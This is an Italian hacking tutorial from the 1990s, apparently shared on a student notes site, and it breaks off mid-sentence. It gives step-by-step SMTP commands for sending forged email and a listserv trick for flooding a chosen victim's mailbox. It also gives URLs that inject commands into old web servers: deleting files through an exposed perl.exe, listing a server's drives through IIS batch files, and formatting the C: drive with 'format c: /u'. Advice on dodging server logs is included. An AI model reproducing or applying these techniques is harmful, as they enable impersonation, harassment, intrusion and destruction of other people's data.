Enciclopedia hachers

Materie:Appunti
Categoria:Informatica
Download:215
Data:01.02.2006
Numero di pagine:42
Formato di file:.doc (Microsoft Word)
Download   Anteprima
enciclopedia-hachers_1.zip (Dimensione: 48.42 Kb)
readme.txt     59 Bytes
trucheck.it_enciclopedia-hachers.doc     143.27 Kb


Testo

Enciclopedia Dell'HaCkEr
PREFAZIONE
~~~~~~~~~
In seguito alle moltissime richieste di informazioni sull'hacking, noi del
D.A.C. abbiamo deciso di scrivere una serie di "volumi" sull'argomento, per
spiegare in modo semplice e graduale le basi dell'hacking.
Le informazioni che ci accingiamo a darvi con la presente "Enciclopedia"
sono solo a scopo informativo.
L'autore, Lord Shinva, declina ogni responsabilita` per l'uso di queste
informazioni.
L'autore si riserva inoltre la possibilita` di ritardare o interrompere in
qualsiasi momento la pubblicazione di questa serie di documenti in caso di
uso improprio degli stessi.
Questo documento puo` essere liberamente distribuito purche` non modificato.
Sono VIETATE la vendita e la duplicazione integrale o parziale con qualsiasi
mezzo e in qualsiasi modo. Tutti i diritti sono riservati dall'autore.
GLOSSARIO
~~~~~~~~~
- IP Address
Indirizzo numerico composto da quattro numeri (ad esempio 123.45.67.8) che
identifica il vostro computer sulla rete. Un IP Address e` unico e
corrisponde ad un Host Name
- Host Name
Nome in formato standard Internet di un sito. Ad esempio sara` del tipo
www.prova.com per un provider o un sito generico, mentre nel caso di un
collegamento via modem di un utente al suo provider potra` somigliare a
ppp14-ro.provider.it.
Le estensioni piu` usate sono:
.com sito commerciale ("com") generico
.org organizzazione ("org") senza fini di lucro
.mil sito militare ("mil") USA
.net rete (in inglese "net") sito generico
e i vari .it (Italia) .uk (Inghilterra) .ca (California), ecc.
- Client
Programma "cliente", usato da un utente per collegarsi ad un servizio.
Ad esempio, Netscape e Microsoft Explorer sono client per collegarsi al
servizio Web (HTTP), Eudora e` un client per collegarsi al servizio e-mail
(SMTP/POP3), Cute FTP e WS-FTP sono client per collegarsi a FTP, e cosi`
via. E` in pratica un programma che viene usato per comunicare con un
server.
- Server
Programma che svolge un servizio e si occupa di rispondere ai client.
Ad esempio, i provider hanno un Web Server per offrirvi la possibilit...
di collegarvi ad Internet tramite il Web.
- Protocollo
Insieme di regole per la gestione di un servizio Internet come web, email
- Servizi: nomi tecnici
I servizi disponibili su Internet sono: Web (pagine ipertestuali), FTP
(trasferimento file), e-mail, news, IRC, ecc.
Ecco alcuni nomi tecnici e relativo servizio:
HTTP e` il nome del protocollo del web
SMTP e-mail, posta in uscita
POP3 e-mail, posta in arrivo
IMAP e-mail, e` un altro tipo di posta in arrivo, meno usato
- DNS (Domain Name Server)
E' la funzione svolta da un computer situato sulla rete che si occupa di
risalire a un IP Address da un Host Name e viceversa (se ad esempio volete
conoscere l'IP Address di www.prova.com utilizzando il DNS otterrete una
risposta del tipo 123.45.67.8, ma e` anche possibile fare il contrario).
L'operazione per la quale si risale dall'IP Address (numerico) all'Host
Name (nome) viene detta Reverse DNS.
Il DNS viene utilizzato automaticamente da tutti i programmi per Internet,
in quanto Internet non "capisce" gli Host Name, e ha bisogno di conoscere
il relativo IP Address per riuscire a collegarsi ad un sito (Host).
E' anche possibile utilizzarlo volutamente, per risalire a qualcuno, ecc.
FONDAMENTI
~~~~~~~~~~
Prima di iniziare con l'hacking vero e proprio e` necessario iniziare con
una breve lezione sull'anonimita`.
Infatti, quando effettuate un'operazione qualsiasi sulla rete, lasciate
tracce di voi ovunque.
Questo e` particolarmente vero per il web, in quanto ogniqualvolta ci si
collega ad un server o si inviano dati vengono automaticamente trasmesse
informazioni come: da quale server (e quindi da quale citta`) si sta
chiamando, il nome ed il produttore del programma che si sta usando, quale
sistema operativo e` installato sul vostro PC, il vostro IP address, qual'e`
l'ultimo sito visitato, se, quando e quante volte ci si e` collegati ad un
sito, e talvolta anche il proprio indirizzo di e-mail.
Mentre lasciare simili informazioni in giro puo` non costituire un pericolo
per un utente qualsiasi, per un hacker la cosa diventa alquanto pericolosa.
In pratica e` come se lasciaste un biglietto da visita (beh... quasi un
curriculum!) ad ogni collegamento che effettuate.
Molti siti utilizzano anche un comodo meccanismo di identificazione messo a
disposizione dei browser (Netscape, Internet Explorer, Mosaic) che li aiuta
ad identificarvi anche a distanza di tempo, e puo` rivelare loro la
frequenza con cui visitate dei siti, IP address, ed altre informazioni che
non vorreste dare. Il file in questione e` denominato "cookie".
Se usate Netscape lo troverete nella directory del browser con l'innocuo
nome di "cookies.txt". Non e` altro che un semplice file di testo, come
questo che state leggendo. Bastera` eliminarlo dopo ogni collegamento per
eliminare le informazioni che esso puo` rivelare. Se utilizzate siti che
richiedono accesso con password puo` darsi che il cookie contenga delle
informazioni necessarie al vostro collegamento: in tal caso bastera` editare
il file ed eliminare solo le righe che non contengono il nome del sito in
questione.
I "cookies" possono essere disabilitati in alcuni browser (come Netscape).
Lo stesso vale per altre tecnologie ancor piu` pericolose (per la privacy),
come Java e JavaScript. Rendono piu` allegre le pagine Web... e ancor
piu` allegri quelli che vogliono sapere chi, come e quando si collega a
una pagina.
Un mezzo molto usato fino a poco tempo fa per nascondere le proprie tracce
sul Web era l'Anonimizzatore (http://www.anonymizer.com), ma mentre prima
era gratuito ora e` diventato a pagamento. Lo si puo` ancora utilizzare, ma
prima di visualizzare la pagina Web desiderata, l'utente e` costretto ad
attendere circa mezzo minuto. Inoltre questo servizio e` ora in grado di
riconoscere un tentativo di hacking e si rifiuta di eseguire il collegamento.
Per quanto riguarda invece le e-mail (posta elettronica) il discorso cambia.
In realta`, un hacker non usa quasi mai altro che un solo programma: Telnet.
Se non siete ancora in possesso di un client (programma utente) Telnet vi
consiglio di prelevarlo al piu` presto dalla rete (ad esempio, cercando su
http://www.shareware.com).
Telnet non e` altro che un servizio di banca dati, con messaggi, programmi
e cose del genere, proprio come nelle vecchie BBS.
Ma perche` utilizzare proprio Telnet?
In realta`, un client Telnet fa poco piu` che collegarsi a un server,
inviargli tutto quello che scrivete e mostrarvi tutto quello che riceve dal
server.
Puo` in effetti sostituire (limitatamente) un qualsiasi altro client.
Un esempio: quando usate un browser (Netscape, Explorer, ecc.) per collegarvi
ad un sito Web, il programma non fa altro che svolgere una sessione Telnet.
In parole semplici: invia un comando simile a "dammi il file xxxxx" e aspetta
che il server glielo invii.
Lo stesso accade con FTP, e in modo appena diverso per la posta elettronica.
Come vediamo, quindi, usando Telnet noi possiamo impersonare un qualsiasi
programma client, parlando al server e leggendo le sue risposte.
Ma per quale motivo dovremmo farlo? E` presto detto.
Soffermiamoci un momento su questa cosa: un servizio, ad esempio e-mail,
e` stato progettato perche` dall'altro capo della connessione ci sia un
programma client che segua certe regole (ad esempio Eudora per la posta).
Ma cosa succede se invece di un programma c'e` un hacker che "finge" di
essere il programma e invece di seguire le regole standard fa altre cose
non previste?
Succede che si puo` sovvertire il servizio, e si possono fare le cose piu`
disparate.
Alcuni esempi: sovvertendo e-mail si puo` inviare posta elettronica "falsa"
(detta FakeMail) che sembri provenire da chiunque noi vogliamo, sovvertendo
il Web si puo` crashare (da "crash": distruggere, in senso virtuale) un
server, con FTP si puo` ottenere un livello di anonimita` elevatissimo ed
e` possibile infiltrarsi anche dove non si e` desiderati, e cosi` via; per
praticamente ogni servizio esistente vi sono delle tecniche applicabili.
E infine, con quasi tutti i servizi (e in particolar modo con la SMTP)
esistono dei modi per ottenere il tanto agognato accesso "root", in pratica
il livello dell'amministratore di sistema (detto SysAdmin) che puo` fare
*qualsiasi* cosa: creare, aggiungere o eliminare account, file e directory,
utenti con qualsiasi livello d'accesso, leggere la posta e i file degli
utenti, attivare e disattivare servizi, modificare programmi...
Nel prossimo volume ci occuperemo della falsificazione e identificazione di
posta elettronica e news.
TELNET E SMTP
~~~~~~~~~~~~~
Supponiamo di voler, per un motivo qualsiasi, inviare una e-mail a qualcuno
facendo sembrare che essa sia stata mandata da qualcun altro.
Il metodo piu` semplice e` utilizzare uno dei siti per hackers che offrono la
possibilita` di inviare FakeMail (basta cercare questa parola in un motore di
ricerca su Internet, ad esempio www.yahoo.com ha una sezione apposita per
FakeMail e posta anonima).
Ma per ora tralasciamo i siti e vediamo in pratica come funziona la tecnica
delle FakeMail (che tra l'altro e` applicabile, in modo diverso, anche alle
news).
Il motivo per cui la studieremo e` che provandone il funzionamento, ne
approfitteremo per imparare ad utilizzare Telnet e soprattutto SMTP, ovvero
il servizio della posta in uscita.
Questa e` infatti la base per capire come funzionano molte delle tecniche
piu` utilizzate, e vi permettera`, quando sarete padroni della materia, di
implementarne di nuove.
Iniziamo dunque imparando ad usare Telnet.
Usandolo per collegarvi a un sito semplicemente inserendo un host name, vi
collegherete al servizio Telnet. Ma abbiamo detto che non e` questo il
nostro obiettivo. A noi interessa il servizio SMTP. Dunque, come fare per
accedervi?
Bisognera` inserire, oltre all'indirizzo del server a cui vogliamo
collegarci, anche un numero di "porta". Ma cos'e` una porta?
Se riflettete, ogni server ha un unico indirizzo "centrale" (nome.com) ma
gestisce molti servizi (web, ftp, posta...). Di conseguenza dovrebbe avere
altrettanti server su altrettanti indirizzi diversi.
Per evitare un proliferare di indirizzi inutili esistono le porte, in pratica
nient'altro numeri a cui sono associati i vari servizi.
Vogliamo collegarci a SMTP? Basta utilizzare la porta 25. Ci interessano
le news? La porta e` 119. Oppure FTP, porta 21... sono tutti numeri "fissi"
(standard) e quindi, tranne in rarissimi casi, collegandosi - per esempio -
alla porta 25 ci rispondera` sempre SMTP.
NOTA: se avete Winsock potete leggere il file "services", contenente i numeri
delle porte piu` usate. Il file si trovera` nella directory di Winsock.
Ora che abbiamo chiarito il discorso delle porte, supponiamo di volerci
collegare a SMTP usando Telnet. Scegliamo un server qualsiasi (sono davvero
rari i casi in cui un server non gestisca la posta) e, in base al programma
usato, dovremmo operare differentemente.
La maggior parte di essi funziona in questo modo: per collegarsi a SMTP del
server prova.it bisogna inserire prova.it:25 come nome del server.
Alcuni invece non prevedono l'uso dei due punti per delimitare nome e porta,
ma hanno uno spazio in cui inserire, separatamente, il numero o il nome del
servizio.
Dunque, una volta connessi a prova.it:25 avremo un messaggio di questo tipo:
220 prova.it Sendmail x.x/x.x 11/11/97 ready at Mon, 30 Oct 97 06:22:19 -0200
e niente altro. Il server sta ora aspettando comandi da parte nostra.
La prima cosa da fare e` identificarsi, e cio` va fatto con il comando HELO
in questo modo:
HELO nomeprovider.it
sostituendo nomeprovider.it con il nome del nostro provider.
NOTA: usando Telnet *NON* e` possibile cancellare. Quindi digitate senza
fretta, e se proprio sbagliate riavviate la connessione e ripetete tutto,
oppure - in alcuni casi - puo` essere sufficiente premere invio e riscrivere
la riga da zero. Non cancellate, anche se sembra funzionare. I risultati
possono essere imprevedibili e potreste rivelare la vostra identita`.
Talvolta e` possibile inserire un nome falso, ma i nuovi server conoscono
gia` il vostro IP Address quando vi collegate, quindi tanto vale inserire il
vero nome.
La risposta sara`:
250 prova.it Hello NOMEPROVIDER.IT, pleased to meet you
A questo punto dovremo dire al server qual'e` il nostro indirizzo di e-mail.
Usiamo allo scopo il comando "MAIL FROM" e digitiamo:
MAIL FROM:
...ovviamente l'indirizzo da inserire e` quello falso =)
Il server rispondera` con un messaggio. Se avremo sbagliato qualcosa, sara`
un messaggio d'errore, e dovremo ripetere l'immissione.
A questo punto dobbiamo scegliere la nostra "vittima", che supponiamo essere
[email protected]. Usiamo il comando "RCPT TO" e scriviamo:
RCPT TO:
Il server rispondera` con un altro messaggio.
Ed ora che abbiamo definito sorgente e destinazione passiamo all'invio delle
intestazioni e del corpo del messaggio.
Avvisiamo il server che siamo pronti, scrivendo:
DATA
e il server ci dira` di scrivere il messaggio e di concludere con un punto
su una riga vuota.
Fermiamoci un attimo. In ogni e-mail esistono delle intestazioni (headers)
che si trovano prima del corpo del messaggio vero e proprio. Il loro scopo
e` elencare tutti i computer attraverso i quali e` passato il messaggio,
nonche` il nostro IP Address! Cio` potrebbe rivelare la nostra identita` a
un hacker o a un SysAdmin esperto. Per evitarlo, digitiamo:
Received: by nomeprovider.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58
dove nomeprovider.it e` il nome del vostro provider (quello che avete usato
con HELO) e l'ultima parte (Sun, 12 Oct...) e` la data in formato standard.
ID AA11212 va cambiato. Potete mettere un numero qualsiasi (possibilmente
che inizi con AA1 piu` altre 4 cifre, per farlo sembrare piu` reale).
Si tratta solo di un numero di serie del server, niente di importante.
Ora dobbiamo digitare:
Message-ID:
Cio` serve a far credere che il messaggio sia partito effettivamente dal
server "microsoft.com" con l'ID AA11345 (puo` essere un numero qualsiasi,
purche` NON uguale a quello inserito prima con l'intestazione "Received:").
Inseriamo ora di nuovo il destinatario, la data e il soggetto della e-mail:
To:
Date: Sun, 12 Oct 97 11:30:27
Subject: questa e` una prova...
Lasciamo uno spazio e scriviamo il messaggio che vogliamo inviare (lungo
quanto vogliamo). Per concludere il messaggio lasciamo due righe vuote,
digitiamo un punto, premiamo invio, scriviamo QUIT e invio.
La FakeMail verra` inviata automaticamente dal server, e noi possiamo anche
chiudere Telnet.
E` importante inviare a se stessi dei messaggi di prova per vedere se il
server scelto ha ricevuto i dati correttamente, se non sono stati commessi
errori e, soprattutto, per vedere se il proprio IP Address si trova in
mezzo alle intestazioni "Received:", oppure (sbagliato) alla fine.
Ora che sappiamo come fare ad inviare una FakeMail, possiamo passare al
passo successivo: usare le FakeMail per far danni... vogliamo seppellire
la mailbox di qualcuno?
Creiamo una normale FakeMail con il metodo spiegato sopra, ma come mittente
dovremo inserire l'indirizzo e-mail della vittima e come destinatario usiamo
un "listserv" (come ad esempio [email protected]).
Un Listserv e` un programma che invia programmi tramite e-mail nel caso non
si riesca a prelevarlo via FTP.
Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it
c'e` un file di 20 megabyte il cui nome e` "enorme.gz" possiamo fare in modo
che quei 20 MB vengano inviati sotto forma di testo nella e-mail della
nostra vittima...
Nell'esempio di cui sopra, dopo aver scritto i primi comandi della FakeMail,
arrivati a "Subject:" scriviamo quanto segue:
REPLY [email protected]
CONNECT pluto.it anonymous [email protected]
BINARY
GET mieifiles/enorme.gz
QUIT
e concludiamo quindi con le due righe vuote, il punto, QUIT, ecc.
Ecco la spiegazione passo passo:
REPLY indica l'indirizzo e-mail a cui rispondere
CONNECT specifica il nome del provider a cui collegarsi e l'account da usare
BINARY specifica un file di tipo binario (non va cambiato)
GET specifica il nome del file da prelevare (completo di eventuali directory)
QUIT termina la connessione
Ovviamente, se dopo GET anziche` QUIT usiamo altri GET, il risultato sara`
molto piu` dannoso. Nel caso di un file di 20 MB, riscrivendo altre 10
volte il comando "GET ..." verranno mandati un totale di ben 200 megabyte al
povero utente destinatario!
E poiche` i server di e-mail spezzano i messaggi in tanti piccoli messaggi,
la vittima riceverebbe migliaia e migliaia di messaggi...
E` un buon motivo per non dare in giro il proprio indirizzo di e-mail, no?
Nel prossimo volume impareremo a scrivere messaggi totalmente anonimi, a
riconoscere un messaggio falso da uno vero e ad identificare il computer da
cui e` partito un attacco.
Piu` in la` spiegheremo anche come rendersi al 100% invisibili utilizzando
tecniche estremamente raffinate.
EMAIL E IDENTIFICAZIONE
~~~~~~~~~~~~~~~~~~~~~~~
Per concludere il nostro studio su FakeMail e messaggi anonimi, vedremo ora
come riconoscere una e-mail "vera" da una "falsa", come identificarne (in
parte) l'autore, e come utilizzare i remailer anonimi per un'anonimita` di
livello elevatissimo.
Per poter studiare un messaggio dobbiamo necessariamente essere in grado di
leggerne gli "headers" (intestazioni), cioe` quelle righe che iniziano con
la parola "Received:" e simili, che si trovano prima del corpo del messaggio
vero e proprio).
Visualizzare gli headers e` semplice: ogni programma di posta elettronica ha
un'opzione (in genere nel menu`) per attivare/disattivare la visualizzazione
degli stessi.
Netscape Mail, ad esempio, ha la voce "Show Headers" nel menu` "Options",
mentre con "Internet Explorer" e` necessario cliccare sul titolo dell'e-mail
da analizzare, quindi premere il tasto destro e scegliere l'ultima voce
(Properties, ovvero Proprieta`). Eudora ed altri client hanno una funzione
simile a quella di Netscape Mail (nei menu`).
Prendiamo dunque ad esempio questa e-mail, di cui visualizziamo gli headers:
Received: from posta.hackers.it (111.123.33.4) by provider.it via mtad (2.3)
id mx03-Biqmta0276; Mon, 27 Sep 1997 06:45:07 -0600 (MDT)
Received: from america.com ([123.45.67.89]) by posta.hackers.it
(post.office MTA v1.9.3b ID# 0-12345) with SMTP id AAA187
for ; Mon, 27 Sep 1997 14:34:21 +0200
From:
To:
Subject: test...
Analizziamone ora gli headers: il primo (Received) e` lungo due righe, in
quanto ogni header inizia con una parola chiave seguita dai due punti, e nel
secondo rigo non esiste una prima parola, ne` i due punti; ne deduciamo
percio` che e` il seguito della riga superiore.
L'header "Received" ci informa del percorso seguito dall'e-mail da quando e`
stato generato a quando l'abbiamo ricevuto. Normalmente ce n'e` piu` di uno
e sono disposti in ordine inverso (il primo rappresenta l'ultimo computer in
cui e` arrivata l'e-mail - con ogni probabilita` il nostro o quello del
nostro provider - e l'ultimo Received rappresenta il computer "mittente").
Infatti, ogni volta che un server riceve una e-mail, aggiunge un "Received"
in *cima* alle altre intestazioni gia` presenti.
Tornando alla nostra e-mail, vediamo percio` che l'ultimo "Received" ci
informa che il computer america.com ha l'IP Address 123.45.67.89 e ha mandato
questa e-mail al server posta.hackers.it usando SMTP.
Guardando l'header successivo (sopra) notiamo che poi il messaggio e` stato
mandato a sua volta da posta.hackers.it (che vediamo avere un IP Address pari
a 111.123.33.4) a provider.it, che e` il server destinatario (il nostro).
Infatti, se guardiamo l'header "To:" vediamo che destinatario finale e`
[email protected].
Il mittente, stando all'header "From:", dovrebbe essere [email protected]
ma come sincerarsene?
Utilizzando il programma Finger possiamo sapere se l'utente "mittente" esiste
su "america.com", ma utilizzando Finger non possiamo sapere se sia stato
effettivamente lui a mandare il messaggio o meno.
Ricorriamo percio` ancora una volta all'analisi degli header "Received".
Il primo header, quello che ci informa da CHI e` stato inviato il messaggio,
corrisponde all'ultimo header (cioe` al secondo "Received").
Da li` scopriamo che il computer mittente e` america.com con IP 123.45.67.89
e dell'IP possiamo essere sicuri... ma non possiamo fidarci di "america.com"
e l'unico modo per sapere se effettivamente Host Name e IP Address coincidono
e` utilizzare un programma DNS. Bastera` inserire l'IP Address per conoscere
l'Host Name ad esso corrispondente.
Questo metodo e` di estrema importanza, in quanto se da un lato non ci
permette di scoprire l'autore, almeno potremo sapere quale computer e` stato
usato per inviare e-mail, news, ecc. Molti provider di posta elettronica
gratuita (come Hotmail e Netaddress) e non, permettono di bloccare l'invio
di e-mail che provengono da un determinato "dominio" (es. provider.it), ma
per farlo e` necessario conoscerne l'Host Name oppure l'IP Address.
Quando si effettua un mail-bombing usando Kaboom, Up Yours o altri programmi
del genere, si lascia dunque in modo indelebile il proprio IP Address nelle
e-mail. L'unico "lato buono" e` che inviando alcune migliaia di e-mail a
un indirizzo, *probabilmente* il proprietario della mailbox non riuscira` a
scaricarle tutte (o non vorra` farlo) e non potra` percio` analizzarne le
intestazioni per scoprire il colpevole ;)
In ogni caso con i servizi di e-mail tramite Web, o con programmi ad hoc e`
possibile scaricare un singolo messaggio e analizzarlo, quindi e` bene
lasciare il mail-bombing ai lamers che non hanno nient'altro da fare...
Il motivo per cui programmi come Kaboom e Up Yours si dichiarano "100% non
rintracciabili" e` perche` la lista dei server SMTP inclusa in essi contiene
per lo piu` vecchi server che non registrano l'IP Address di chi si collega.
Ma tali server sono stati sfruttati, hackerati, bombardati e sovraccaricati
di e-mail in uscita, e sono stati percio` disattivati o hanno cambiato nome.
In ogni caso, tutti i piu` nuovi server SMTP registrano (purtroppo) l'IP e
in alcuni casi sono addirittura in grado di riconoscere un tentativo di
FakeMail e rispondere "sfottendo"... :-}
Supponiamo ora che anziche` utilizzare e-mail false vogliamo scriverne una
anonima per rispondere a qualcuno senza essere rintracciati, o magari per
partecipare a un Newsgroup in maniera del tutto anonima.
Esiste un servizio, quello dei cosiddetti "remailer", per inviare posta
completamente anonima (senza mittente e senza alcuna traccia di IP Address o
altro).
NOTA: Per una lista completa con tutte le informazioni come: velocita`,
caratteristiche e affidabilita` basta cercare le parole "anonymous remailer"
con un qualsiasi motore di ricerca sul Web.
Usarli nella loro forma piu` semplice (senza criptazione e senza re-routing
multipli) e` facile, basta inviare una normalissima e-mail (con qualsiasi
programma di posta elettronica) all'indirizzo e-mail di un remailer.
Ad esempio, [email protected] (oppure [email protected] o ancora
[email protected]) e, PRIMA del messaggio inserire una riga vuota, una
coppia di due punti e altre informazioni, come segue:
::
Request-Remailing-To: [email protected]
Questa e` una prova....
Dunque l'indirizzo del destinatario NON va inserito come destinatario.
Come destinatario useremo l'indirizzo del remailer, mentre quello del vero
destinatario andra` scritto a fianco a "Request-Remailing-To".
Questo e` quanto per le e-mail anonime. Come fare, invece, per inviare
delle news anonime? Seguendo lo stesso procedimento, ma usando come
destinatario un "gateway" (passaggio) mail-news. A cosa serve?
Inviando un messaggio al gateway, questo lo inviera` a sua volta alle news.
Volendo mandare un messaggio al Newsgroup alt.hackers bastera` sostituire
i punti con dei trattini e aggiungere l'indirizzo del gateway (ad esempio
cs.utexas.edu) quindi il risultato sara` [email protected] al quale
manderemo il nostro messaggio tramite remailer.
Aggiungiamo ora alcune informazioni per completare il capitolo.
Sul Web esistono vari siti per FakeMail che non registrano IP Address. Uno
molto veloce e` (al momento in cui si scrive) MailMan al seguente indirizzo:
http://www.nettex.com/~thecap/
Per quanto riguarda la posta anonima tramite remailer, ne esistono anche sul
Web. Per chi preferisse le Form ai programmi di posta elettronica bastera`
cercare, come detto prima, dei remailer usando i motori di ricerca.
Un indirizzo tra i piu` affidabili: http://www.replay.com/remailer/
NOTA: questi siti sono attivi non per arrecare danni, ma per fornire un
servizio a quanti vogliono preservare la propria privacy elettronica.
Abusandone potreste mettere voi nei guai, o causare la chiusura del servizio.
Inoltre molti remailer possono negarvi l'accesso al servizio in caso di
proteste da parte di terzi. In altre parole, usate il cervello...

INTRODUZIONE ALLE TECNICHE DI BASE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Le tecniche che inizieremo a vedere da questo capitolo in poi sono quelle
di base per poter comprendere quelle piu` complesse.
Inoltre nella spiegazione di ciascuna tecnica ne approfittero` per spiegare
altri argomenti che normalmente in qualsiasi guida sull'hacking, in italiano
o in inglese, sono lasciati alla... immaginazione del lettore.
Dunque. In questo volume vedremo delle semplici tecniche relative alla
sicurezza (da un punto di vista hacker) dei server Web.
Credo (e spero) che sappiate gia` usare un browser e i vari programmi... in
caso contrario vi consiglio vivamente di lasciar perdere l'hacking e iniziare
con qualcosa di piu` semplice, come accendere e spegnere il computer...
TECNICHE DI BASE: I WEB SERVER - PARTE 1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Molti metodi usati in passato per hackerare un sito Web si basavano su dei
problemi di sicurezza pre-esistenti causati dalla scarsa competenza dei
Webmaster e dei SysAdmin. Ad esempio, un classico errore era lasciare
programmi che hanno funzione di interpreti di comandi, come ad esempio il
Perl (file perl.exe) accessibili a chiunque tramite Internet.
Dal momento che tali programmi accettano parametri, se avessimo voluto
cancellare l'intero contenuto di una directory avremmo potuto eseguire il
comando di eliminazione semplicemente collegandoci all'URL (indirizzo Web).
Nel nostro esempio, dal momento che il linguaggio in questione e` il Perl,
il comando per eliminare la directory e` "unlink " (senza gli apici).
Per "dire" al Perl di eseguire un comando va usata l'opzione "-e". Il
comando completo sara` quindi: perl.exe -e unlink
Ora supponiamo che il povero Webmaster :) abbia lasciato perl.exe nella
directory cgi-bin (dove si trovano quasi tutti i programmi usati su un sito).
Non dovremo fare altro che collegarci dal nostro browser a questo indirizzo:
http://www.nomesito.com/cgi-bin/perl.exe?-e+unlink+%3C*%3E
Ecco cosa stiamo facendo: http://www.nomesito.com/cgi-bin/perl.exe non e`
altro che l'indirizzo del programma da eseguire; il punto interrogativo ci
consente di passare dei comandi qualsiasi al programma (probabilmente lo
avrete gia` visto quando vi collegate ai motori di ricerca); infine, come
gia` detto prima, "-e" dice al Perl di eseguire il comando che segue.
I segni + non sono altro che gli spazi. Poiche` negli URL non si usano spazi
vanno usati i + al loro posto.
Ora troviamo la parola unlink, un altro + (spazio) e poi %3C*%3E ...cos'e`?
Se guardate piu` sopra, vedrete che il comando da eseguire era unlink
Non abbiamo fatto altro che sostituire < con il suo codice ASCII in notazione
esadecimale (3C preceduto da % per indicare che e` un codice ASCII) e lo
stesso abbiamo fatto per > mentre l'asterisco e` rimasto uguale.
Ovviamente non dovrete imparare i codici a memoria, vi bastera` trovare una
tabella ASCII come quelle che si trovano sui libri di informatica e di
programmazione, o in alcune piccole utility. Se non l'avete, prima di
proseguire e` assolutamente necessario che ve la procuriate.
Dicevamo... perche` questi cambiamenti?
Perche` esistono delle regole per "scrivere" un URL: caratteri come / e \
(detti slash e backslash), le parentesi e le virgolette, gli spazi e quasi
tutta la punteggiatura in genere (ad esclusione di + - e pochi altri simboli)
vanno *sempre* sostituiti con il relativo codice ASCII. Tutti gli altri
caratteri possono rimanere invariati.
Dunque quando dovremo scrivere uno dei simboli sopra descritti non bisognera`
fare altro che cercarne il codice in esadecimale e scriverlo al suo posto,
mettendo un simbolo di percentuale prima del codice.
Tali codici sono detti di "escape".
In modo analogo, un server Web come il Microsoft IIS per Windows (versioni
dalla 1.x alla 2.0b) oppure il server di Windows NT 3.x puo` essere "forzato"
ad eseguire dei comandi arbitrari, come ad esempio:
http://www.nomesito.com/cgi-bin/scrivimi.bat?&dir+c:\+%5Cs
In questo caso scrivimi.bat e` un file batch (.bat).
E` molto facile da scoprire se un server utilizzi tali file, in quanto basta
dare un'occhiata alle pagine Web di un sito (e magari al loro listato) per
scoprire se vi sono riferimenti ad essi.
Ovviamente il trucco funziona solo con i server sopra elencati (per Windows)
e con pochissimi altri. Inoltre le nuove versioni hanno corretto questo
problema.
Il "bug" (errore) in questo caso risiede nella gestione dei files batch.
Come vediamo, aggiungendo ?& al nome del file e poi scrivendo i comandi da
eseguire, il server credera` di stare eseguendo ancora il file batch e in
realta` fara` ben altro... nel nostro caso, il comando codificato e` il
seguente: dir c:\ /s (dove / e` stato sostituito con il suo codice, %5C).
Avremo quindi come risultato di tale comando l'elenco completo di *tutte* le
directory e i file presenti sul server (utile per sapere dove mettere le
mani se cerchiamo qualcosa in particolare o vogliamo modificare qualcosa).
Quelle descritte non sono vere e proprie tecniche hacker: sono degli exploit
per poter sfruttare i problemi di sicurezza conosciuti a nostro vantaggio.
Le trattiamo anche perche` non si puo` imparare qualcosa di complesso senza
conoscere le basi e i ragionamenti che sono dietro un exploit.
Tali exploit sono ampiamente discussi e spiegati (in inglese) su Internet e
a volerli spiegare tutti non basterebbero 100 volumi di questa enciclopedia.
Ecco perche` vi invito fin d'ora ad "avventurarvi" sulla Rete, a cercare e a
provare... e soprattutto a imparare l'inglese (se non lo conoscete gia`),
perche` la stragrande maggioranza delle documentazioni e dei siti che possono
insegnarvi qualcosa (come il mitico Silicon Toad... http://www.silitoad.org
oppure come Hackers Underground... http://www.underground.org) e`, che lo
vogliate o meno, in inglese. In una parola: LEGGETE.
Comunque l'obiettivo di questi volumi non e` certo insegnarvi dei trucchi.
Possono essere molto utili, talvolta indispensabili. Ma l'hacking e` ben
altro, e si avvale dell'uso di tecniche raffinate che l'hacker sceglie in
base alle proprie esigenze e in base al suo personale modo di hackerare.
Se noteremo abbastanza interesse da parte vostra, l'autore (cioe` io, Lord
Shinva) continuero` a scrivere questi volumi e presto conto di poter iniziare
con l'hacking propriamente detto. Se invece li considerate una perdita di
tempo, ne interromperemo la pubblicazione.
Per chi voglia comunicarci la propria opinione in merito, l'indirizzo di
e-mail e` [email protected] (consigli, critiche, richieste di argomenti
da trattare e proposte di collaborazione sono bene accetti).

TECNICHE DI BASE: I WEB SERVER - PARTE 2
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Come abbiamo visto, molti server Web per Windows (come Microsoft IIS oppure
Windows NT server) possono essere utilizzati per eseguire comandi arbitrari
utilizzando lo schema seguente:
[URL].../nomescript.bat?&comando_1+comando_2+...+comando_N
E` bene notare che i server Web registrano in uno o piu` file (detti "log")
tutte le operazioni effettuate, e quindi nel caso utilizzassimo l'hack sopra
descritto esso verrebbe senza dubbio registrato, insieme al nostro IP Address
e ad altre informazioni.
Per evitarlo, possiamo fare due cose. Una possibilita` e` aggiungere alla
fine dell'URL contenente i nostri comandi, il comando "time" oppure "date",
in questo modo:
http://www.sito.com/cgi-bin/prova.bat?&echo+S+%7C+format+c%3A+%2Fu+time
Procediamo ora con la spiegazione di questo URL. Il comando eseguito e`:
echo S | format c: /u
seguito dal comando "time", che vedremo dopo. Il comando "format c:" come
sappiamo serve a formattare un disco, in questo caso l'hard disk "C", mentre
"/u" indica a "format" di procedere con una formattazione incondizionata,
cioe` senza salvare i dati presenti sul disco... ma "format", una volta
eseguito, chiede all'utente di premere un tasto: S (si) oppure N (no), e
non fara` nient'altro fino a che non avra` uno dei due input.
Per ovviare all'inconveniente, non potendo noi digitare "S" sulla tastiera
del computer che vogliamo hackerare, utilizziamo "echo S" seguito da "|".
In pratica "|" (detto "pipe") serve ad inviare l'output del comando "echo"
(il carattere "S") al comando successivo (format), simulando la pressione del
tasto. Abbiamo cosi` risolto il problema.
Una funzione non documentata del comando format e` l'opzione "/autotest".
Tale opzione corrisponde in pratica alla riga di comando sopra descritta,
e quindi potremo (solo nel caso di format) fare a meno di echo, pipe e "/u"
scrivendo "format c: /autotest" (NON scrivetelo sul vostro computer).
L'hard disk verra` formattato senza chiedere alcunche` all'utente.
Ma ora torniamo al comando time (oppure date). Perche` l'abbiamo aggiunto?
I server registrano le operazioni nei log solo DOPO che tali operazioni siano
